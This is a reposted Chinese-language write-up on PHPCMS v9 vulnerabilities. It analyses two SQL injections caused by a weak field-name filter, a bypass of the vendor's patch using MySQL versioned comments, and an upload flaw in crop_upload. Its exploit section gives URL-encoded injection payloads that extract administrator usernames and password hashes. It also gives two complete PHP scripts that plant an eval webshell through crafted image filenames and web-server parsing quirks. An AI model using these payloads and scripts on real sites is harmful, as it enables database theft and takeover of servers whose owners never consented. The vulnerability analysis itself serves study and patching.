好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

PHPCMS v9 注入和getwebshell - 网站安全 - 自学php

0x00 前言

0x01 新年左右的注入

0x02 绕过厂商的补丁

0x03 破不开的密码

0x04 曾经的getwebshell

0x05 补漏了apache

0x06 Exploit编写

0x07 结束语

0x00 前言

 

 

 

PHPCMS V9(后面简称V9)采用PHP5+MYSQL做为技术基础进行开发。V9采用OOP(面向对象)方式进行基础运行框架搭建。模块化开发方式做为功能开发形式。框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求。 5年开发经验的优秀团队,在掌握了丰富的WEB开发经验和CMS产品开发经验的同时,勇于创新追求完美的设计理念,为全球多达10万网站提供助力,并被更多的政府机构、教育机构、事业单位、商业企业、个人站长所认可。 

 

V9在保留2008版的特点的同时,对新版本作出重大的创新,以期待全新的PHPCMS系统服务更多的用户。(以上复制的官网简介)

 

新年到来的时候wooyun和t00ls上都有把phpcms v9的 漏洞 作为新年礼物发布出来和大家分享,我也去 下载 了最新的phpcms v9的程序分析了下代码,在此把一些菜鸟的心得说给大家听下,望大家指正。

 

 

 

0x01 新年左右的注入

 

 

1.短消息回复注入

 

 

 

 01 /phpcms/modules/message/index.php  

 

02 public function reply() {  

 

03 if(isset($_POST['dosubmit'])) {  

 

04 $messageid = intval($_POST['info']['replyid']);  

 

05 //判断当前会员,是否可发,短消息.  

 

06 $this->message_db->messagecheck($this->_userid);  

 

07  //检查此消息是否有权限回复   

 

08 $this->check_user($messageid,'to');  

 

09 $_POST['info']['send_from_id'] = $this->_username;  

 

10 $_POST['info']['message_time'] = SYS_TIME;  

 

11 $_POST['info']['status'] = '1';  

 

12 $_POST['info']['folder'] = 'inbox';  

 

13 $_POST['info']['content'] = safe_replace($_POST['info']['content']);  

 

14 $_POST['info']['subject'] = safe_replace($_POST['info']['subject']);  

 

15 if(empty($_POST['info']['send_to_id'])) {  

 

16 howmessage(L('user_noempty'),HTTP_REFERER);  

 

17 }  

 

18 $messageid = $this->message_db->insert($_POST['info'],true);//这儿数据传入                      if(!$messageid) return FALSE;   

 

19 showmessage(L('operation_success'),HTTP_REFERER);  

 

20 } else {  

 

21 $show_validator = $show_scroll = $show_header = true;   

 

22 include template('message', 'send');  

 

23 }  

 

24 } 

 

 

 

上边把POST数据直接传入了insert函数

 

Mysql.class.php中:

 

 

 01 public function insert($data, $table, $return_insert_id = false, $replace = false) {  

 

02 if(!is_array( $data ) || $table == '' || count($data) == 0) {  

 

03         return false;  

 

04      }  

 

05     $fielddata = array_keys($data);//这儿直接以数组下标作为字段  

 

06     $valuedata = array_values($data);  

 

07     array_walk($fielddata, array($this, 'add_special_char'));   

 

08 //到了关键地方,关键的过滤函数add_special_char                  

 

09 array_walk($valuedata, array($this, 'escape_string'));  

 

10     $field = implode (',', $fielddata);  

 

11     $value = implode (',', $valuedata);  

 

12     $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';  

 

13     $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';  

 

14     $return = $this->execute($sql);  

 

15 return $return_insert_id ? $this->insert_id() : $return;  

 

16 } 

 

 

漏洞函数出现了:

 

 

 1 public function add_special_char(&$value) {  

 

2 if('*' == $value || false !== strpos($value, '(') || false !== strpos($value, '.') || false !== strpos ( $value, '`')) {  

 

3 //不处理包含* 或者 使用了sql方法。  

 

4 } else {  

 

5 $value = '`'.trim($value).'`';  

 

6 }  

 

7 return $value;  

 

8 } 

 

 

上边过滤函数没有有效过滤

 

 

2.生日修改注入

 

 

漏洞函数

 

 

 01 /phpcms/modules/member/index.php  

 

02 public function account_manage_info() {  

 

03 if(isset($_POST['dosubmit'])) {  

 

04  //更新用户昵称  

 

05 $nickname = isset($_POST['nickname']) && trim($_POST['nickname']) ? trim($_POST['nickname']) : '';  

 

06 if($nickname) {  

 

07 $this->db->update(array('nickname'=>$nickname), array('userid'=>$this->memberinfo['userid']));  

 

08     if(!isset($cookietime)) {  

 

09      $get_cookietime = param::get_cookie('cookietime');  

 

10     }  

 

11     $_cookietime = $cookietime ? intval($cookietime) : ($get_cookietime ? $get_cookietime : 0);  

 

12     $cookietime = $_cookietime ? TIME + $_cookietime : 0;  

 

13     param::set_cookie('_nickname', $nickname, $cookietime);  

 

14  }  

 

15  require_once CACHE_MODEL_PATH.'member_input.class.php';  

 

16  require_once CACHE_MODEL_PATH.'member_update.class.php';  

 

17  $member_input = new member_input($this->memberinfo['modelid']);  

 

18  $modelinfo = $member_input->get($_POST['info']);//数据传入get函数,经过get函数对注入语句无影响  

 

19  $this->db->set_model($this->memberinfo['modelid']);  

 

20  $membermodelinfo = $this->db->get_one(array('userid'=>$this->memberinfo['userid']));  

 

21  if(!empty($membermodelinfo)) {  

 

22     $this->db->update($modelinfo, array('userid'=>$this->memberinfo['userid'])); //进入sql语句形成注入  

 

23  } else {  

 

24     $modelinfo['userid'] = $this->memberinfo['userid'];  

 

25     $this->db->insert($modelinfo);  

 

26  }  

 

27 Mysql.class.php文件  

 

28 public function update($data, $table, $where = '') {  

 

29 if($table == '' or $where == '') {  

 

30 return false;  

 

31 }  

 

32 $where = ' WHERE '.$where;  

 

33 $field = '';  

 

34 if(is_string($data) && $data != '') {  

 

35 $field = $data;  

 

36 } elseif (is_array($data) && count($data) > 0) {  

 

37 $fields = array();  

 

38 foreach($data as $k=>$v) {  

 

39 switch (substr($v, 0, 2)) {  

 

40 case '+=':  

 

41 $v = substr($v,2);  

 

42 if (is_numeric($v)) {  

 

43 $fields[] =$this->add_special_char($k).'='.$this->add_special_char($k).'+'.$this->escape_string($v, '', false);  

 

44 } else {  

 

45 continue;  

 

46 }  

 

47 break;  

 

48 case '-=':  

 

49 $v = substr($v,2);  

 

50 if (is_numeric($v)) {  

 

51 $fields[] =$this->add_special_char($k).'='.$this->add_special_char($k).'-'.$this-> escape_string($v, '', false);  

 

52 } else {continue;}  

 

53 break;  

 

54 default:  

 

55 $fields[] = $this->add_special_char($k).'='.$this->escape_string($v);  

 

56 }  

 

57 }  

 

58 $field = implode(',', $fields);  

 

59 } else {  

 

60 return false;  

 

61 }  

 

62 $sql = 'UPDATE `'.$this->config['database'].'`.`'.$table.'` SET '.$field.$where;  

 

63 return $this->execute($sql);  

 

64 } 

 

 

 

可以清楚的看出又是使用的add_special_char函数过滤哦。所以其实这两个注入都是利用的程序设计的同一个bug。

 

 

0x02 绕过厂商的补丁

 

 

当让漏洞被发现者上报wooyun后厂商也做了相应的补丁,厂商也找到了漏洞的根源也就是: public function add_special_char(&$value)函数。

 

补丁后函数如下:

 

 

 01 public function add_special_char(&$value) {  

 

02  if('*' == $value || false !== strpos($value, '(') || false !== strpos($value, '.') || false !== strpos ( $value, '`')) {  

 

03  //不处理包含* 或者 使用了sql方法。  

 

04  } else {  

 

05     $value = '`'.trim($value).'`';  

 

06  }  

 

07  if (preg_match("/\b(select|insert|update|delete)\b/i", $value)) {  

 

08     $value = preg_replace("/\b(select|insert|update|delete)\b/i", '', $value);  

 

09  }  

 

10  return $value;  

 

11  } 

 

 

 

很明显厂商直接做了过滤:

 

$value = preg_replace("/\b(select|insert|update|delete)\b/i", '', $value);

 

看着这个可能有人会猜测selselectect是不是可以绕过呢,答案是否的。大家可以看到有个\b,这个为整词匹配,也就是说如果你是selselectect,这个为一个完整的词,用这个完整的词去匹配,不会单独拿这个词的一部分去匹配,因此经过匹配仍然是selselecctect。

 

那我们怎么绕过呢?

 

/*!50000select*/这个就是答案了,首先作为一个整词50000select是不会被正则掉的,其次使用/*!*/这个特殊的mysql的特性使得select的作用不变,完整的绕过了补丁。

 

从上文提到的两个注入可以看出这个过滤函数是非常重要的,如果这个过滤函数被绕过了,注入漏洞也许不止上文中的两个吧!

 

 

0x03 破不开的密码

 

 

上文提到了注入,我们也只是得到了当前的 数据库 操作权限(数据库权限大,可以跨库之类的就另当别论了)。

 

当然我们有了注入读取管理员进入后台,然后后台getwebshell这个是一般思路,但是phpcms v9的加密是加有salt的和dz加密一样,使之破解难度非常大。以前写过一个php破解脚本,单线程效率灰常低,有兴趣了可以看下。 

 

http://lanu.sinaapp.com/PHP_study/89.html

 

密码破不开只能看看有没有什么前台getwebshell之类的了。

 

 

 

0x04 曾经的getwebshell

 

 

漏洞文件:phpcms\modules\attachment\attachments.php

 

漏洞函数:crop_upload

 

 

 01 if (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  

 

02 $pic = $GLOBALS["HTTP_RAW_POST_DATA"];//这里可以得知,图片内容由POST控制  

 

03 //中间省略十万行  

 

04 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  

 

05 $file = $_GET['file'];  

 

06 $basename = basename($file);  

 

07 if (strpos($basename, 'thumb_')!==false) {  

 

08 $file_arr = explode('_', $basename);  

 

09 $basename = array_pop($file_arr);  

 

10 }  

 

11 $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  

 

12 } 

 

 

//中间省略十万行

 

file_put_contents($this->upload_path.$filepath.$new_file, $pic);

 

//上面可见,文件名$basename可控,图片内容可控,还有什么不能做??

 

}

 

 

上面这段代码是截取wooyun上的,时间太久了没有找到当时漏洞版本的程序。

 

 

网上也有相应的exp:

 

 

 01

 

02 error_reporting(E_ERROR);  

 

03 set_time_limit(0);  

 

04 $pass="wooyun.in";  

 

05 print_r('  

 

06 +---------------------------------------------------------------------------+  

 

07 PHPCms V9 GETSHELL 0DAY   

 

08 c0de by testr00ttest  

 

09 针对iis6.0的漏洞 有点鸡肋 但是也可以用  

 

10 apache 是老版本可能会产生问题  

 

11 +---------------------------------------------------------------------------+  

 

12 ');  

 

13 echo '密码为'.$pass;  

 

14 if ($argc < 2) {  

 

15 print_r('  

 

16 +---------------------------------------------------------------------------+  

 

17 Usage: php '.$argv[0].' url [js]   

 

18 js 类型配置  1为 asp 2为php  3为apache 的版本  

 

19 Example:  

 

20 php '.$argv[0].' www.wooyun.in 1   

 

21 +---------------------------------------------------------------------------+  

 

22 ');  

 

23 exit;  

 

24 }  

 

25 $url=$argv[1];  

 

26 $js=$argv[2];//写入脚本类型 wooyun.in  

 

27 $phpshell=' ';  

 

28 $aspshell='<%eval request("'.$pass.'")%>';  

 

29 if($js==1){  

 

30         $file="1.asp;1.jpg";  

 

31          $ret=GetShell($url,$aspshell,$file);  

 

32 }else if($js==2){  

 

33         $file="1.php;1.jpg";  

 

34         $ret=GetShell($url,$phpshell,$file);  

 

35 }else if($js==3){  

 

36         $file="1.php.jpg";  

 

37         $ret=GetShell($url,$phpshell,$file);  

 

38 }else{  

 

39         print_r('没有选择脚本类型');  

 

40 }  

 

41 $pattern = "|http:\/\/[^,]+?\.jpg,?|U";  

 

42 preg_match_all($pattern, $ret, $matches);  

 

43 if($matches[0][0]){  

 

44         echo "\r\nurl地址:".$matches[0][0];  

 

45 }else{  

 

46         echo "\r\n没得到!";          

 

47 }  

 

48 function GetShell($url,$shell,$js){  

 

49         $content =$shell;  

 

50         $data = "POST /index.php?m=attachment&c=attachments&a= crop_upload&width=1&height=1&file= http://".$url."/uploadfile/".$js." HTTP/1.1\r\n";   

 

51         $data .= "Host: ".$url."\r\n";  

 

52         $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";  

 

53         $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";  

 

54         $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";  

 

55         $data .= "Connection: close\r\n";  

 

56         $data .= "Content-Length: ".strlen($content)."\r\n\r\n";  

 

57         $data .= $content."\r\n";  

 

58         //echo $data;  

 

59         $ock=fsockopen($url,80);  

 

60         if (!$ock) {  

 

61         echo "  No response from ".$url."\n";  

 

62         }  

 

63         fwrite($ock,$data);  

 

64         $resp = '';  

 

65         while (!feof($ock)) {  

 

66                $resp.=fread($ock, 1024);  

 

67        }  

 

68        return $resp;  

 

69 }  

 

70 ?> 

 

 

 

可以看出基本都是利用的web容器的解析漏洞,时间过了这么久了,厂商补丁应该是打上了。

 

我在最新的phpcms中使用这个exp,没有成功。

 

 

0x05 补漏了apache

 

 

补丁已打,但却依然不是那么完善。

 

最新程序: 

 

 

  public function crop_upload() {  

 

02 if (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  

 

03 $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  

 

04 if (isset($_GET['width']) && !empty($_GET['width'])) {  

 

05 $width = intval($_GET['width']);  

 

06 }  

 

07 if (isset($_GET['height']) && !empty($_GET['height'])) {  

 

08 $height = intval($_GET['height']);  

 

09 }  

 

10 if (isset($_GET['file']) && !empty($_GET['file'])) {  

 

11 $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了fen号  

 

12 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  

 

13 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  

 

14 $file = $_GET['file'];  

 

15 $basename = basename($file);//获取带有后缀的文件名  

 

16 if (strpos($basename, 'thumb_')!==false) {  

 

17 $file_arr = explode('_', $basename);  

 

18 $basename = array_pop($file_arr);  

 

19 }  

 

20 $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  

 

21 } else {  

 

22 pc_base::load_sys_class('attachment','',0);  

 

23 $module = trim($_GET['module']);  

 

24 $catid = intval($_GET['catid']);  

 

25 $siteid = $this->get_siteid();  

 

26 $attachment = new attachment($module, $catid, $siteid);  

 

27 $uploadedfile['filename'] = basename($_GET['file']);   

 

28 $uploadedfile['fileext'] = fileext($_GET['file']);  

 

29 if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  

 

30 $uploadedfile['isimage'] = 1;  

 

31 }  

 

32 $file_path = $this->upload_path.date('Y/md/');  

 

33 pc_base::load_sys_func('dir');  

 

34 dir_create($file_path);  

 

35 $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  

 

36 $uploadedfile['filepath'] = date('Y/md/').$new_file;  

 

37 $aid = $attachment->add($uploadedfile);  

 

38 }  

 

39 $filepath = date('Y/md/');  

 

40 file_put_contents($this->upload_path.$filepath.$new_file, $pic);  

 

41 } else {  

 

42 return false;  

 

43 }  

 

44 echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  

 

45 exit;  

 

46 }  

 

47 } 

 

 

 

后缀检测:

 

 

  phpcms\modules\attachment\functions\global.func.php  

 

2 function is_image($file) {  

 

3 $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');  

 

4 $ext = fileext($file);关键地方  

 

5 return in_array($ext,$ext_arr) ? $ext_arr :false;  

 

6 } 

 

 

 

关键函数:

 

 

  function fileext($filename) {  

 

2 return strtolower(trim(substr(strrchr($filename, '.'), 1, 10)));  

 

3 } 

 

 

Fileext函数是对文件后缀名的提取。

 

根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php

 

经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。

 

我们回到public function crop_upload() 函数中

 

 

  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit(); 

 

 

在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数

 

这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。

 

经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。

 

最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。

 

看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了, 它用在apache搭建的服务器上可以被解析。

 

 

0x06 Exploit编写

 

 

1.注入:

 

短消息回复注入:

 

 

 %60userid%60%29+values%28%28/*!50000SeLECT*/+1+FROM+%28/*!50000 SeLECT*/+count%28%2a%29%2Cconcat%28floor%28rand%280%29%2a2%29 %2C%28substring%28%28/*!50000SeLECT*/+%28/*!50000SeLECT*/+concat% 280x23%2Ccast%28concat%28username%2C0x3a%2Cpassword%2C0x3a% 2Cencrypt%29+as+char%29%2C0x23%29+from+v9_admin+LIMIT++0%2C1%29% 29%2C1%2C62%29%29%29a+from+information_schema%2Etables+group+by+ a%29b%29%29+%2D%2D+ 

 

 

 

 

生日修改注入:

 

 

 %60userid%60%3D%28/*!50000SeLECT*/+1+FROM+%28/*!50000SeLECT*/ +count%28%2a%29%2Cconcat%28floor%28rand%280%29%2a2%29%2C%28 substring%28%28/*!50000SeLECT*/+%28/*!50000SeLECT*/+concat%280x23 %2Ccast%28concat%28username%2C0x3a%2Cpassword%2C0x3a%2Cencrypt %29+as+char%29%2C0x23%29+from+v9_admin+LIMIT++0%2C1%29%29%2C1 %2C62%29%29%29a+from+information_schema%2Etables+group+by+a%29b %29+%2D%2D+ 

 

 

 

2.getshell(apache) 

 

 

 

 

002 error_reporting(E_ERROR);  

 

003 set_time_limit(0);  

 

004 $pass="ln";  

 

005 print_r('  

 

006 +---------------------------------------------------------------------------+  

 

007 PHP Cms V9 GETSHELL 0DAY   

 

008 code by L.N.  

 

009 apache 适用(利用的apache的解析漏洞)  

 

010 +---------------------------------------------------------------------------+  

 

011 ');  

 

012 if ($argc < 2) {  

 

013 print_r('  

 

014 +---------------------------------------------------------------------------+  

 

015 Usage: php '.$argv[0].' url path  

 

016 Example:   

 

017 1.php '.$argv[0].' lanu.sinaapp.com  

 

018 2.php '.$argv[0].' lanu.sinaapp.com /phpcms  

 

019 +---------------------------------------------------------------------------+  

 

020 ');  

 

021 exit;  

 

022 }  

 

023 $url = $argv[1];  

 

024 $path = $argv[2];  

 

025 $phpshell = ' ';  

 

026 $file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';  

 

027 if($ret=Create_dir($url,$path))  

 

028 {  

 

029 //echo $ret;  

 

030 $pattern = "|Server:[^,]+?|U";  

 

031 preg_match_all($pattern, $ret, $matches);  

 

032 if($matches[0][0])  

 

033 {  

 

034 if(strpos($matches[0][0],'Apache') == false)  

 

035 {  

 

036 echo "\n亲!此网站不是apache的网站。\n";exit;  

 

037 }  

 

038 }  

 

039 $ret = GetShell($url,$phpshell,$path,$file);  

 

040 $pattern = "|http:\/\/[^,]+?\.,?|U";  

 

041 preg_match_all($pattern, $ret, $matches);  

 

042 if($matches[0][0])  

 

043 {  

 

044 echo "\n".'密码为: '.$pass."\n";  

 

045 echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;  

 

046 }  

 

047 else 

 

048 {  

 

049 $pattern = "|\/uploadfile\/[^,]+?\.,?|U";  

 

050 preg_match_all($pattern, $ret, $matches);  

 

051 if($matches[0][0])  

 

052 {  

 

053 echo "\n".'密码为: '.$pass."\n";  

 

054 echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;  

 

055 }  

 

056 else 

 

057 {  

 

058 echo "\r\n没得到!\n";exit;  

 

059 }  

 

060 }  

 

061 }  

 

062 function GetShell($url,$shell,$path,$js)  

 

063 {  

 

064     $content =$shell;  

 

065     $data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file= http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";   

 

066     $data .= "Host: ".$url."\r\n";  

 

067     $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";  

 

068     $data .= "Accept: text/ html ,application/xhtml+xml,application/xml;q= 0.9,*/*;q=0.8\r\n";  

 

069     $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";  

 

070     $data .= "Connection: close\r\n";  

 

071     $data .= "Content-Length: ".strlen($content)."\r\n\r\n";  

 

072     $data .= $content."\r\n";  

 

073     $ock=fsockopen($url,80);  

 

074     if (!$ock)   

 

075 {  

 

076         echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;  

 

077     }  

 

078 else 

 

079 {  

 

080 fwrite($ock,$data);  

 

081 $resp = '';  

 

082 while (!feof($ock))   

 

083 {  

 

084 $resp.=fread($ock, 1024);  

 

085 }  

 

086 return $resp;  

 

087 }  

 

088 }  

 

089 function Create_dir($url,$path='')  

 

090 {   www.2cto.com

 

091     $content ='I love you';  

 

092     $data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file= http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";   

 

093     $data .= "Host: ".$url."\r\n";  

 

094     $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";  

 

095     $data .= "Accept: text/html,application/xhtml+xml,application/xml;q =0.9,*/*;q=0.8\r\n";  

 

096     $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";  

 

097     $data .= "Connection: close\r\n";  

 

098     $data .= "Content-Length: ".strlen($content)."\r\n\r\n";  

 

099     $data .= $content."\r\n";  

 

100     $ock=fsockopen($url,80);  

 

101     if (!$ock)   

 

102 {  

 

103         echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;  

 

104     }  

 

105 fwrite($ock,$data);  

 

106     $resp = '';  

 

107     while (!feof($ock))   

 

108 {  

 

109         $resp.=fread($ock, 1024);  

 

110     }  

 

111 return $resp;  

 

112 }  

 

113 ?> 

 

 

 

0x07 结束语

 

 

以上皆是小菜一家之言,

 

如有错误希望指正,

 

如有建议希望讨论,

 

最后祝大家新年快乐。

 

查看更多关于PHPCMS v9 注入和getwebshell - 网站安全 - 自学php的详细内容...

  阅读:50次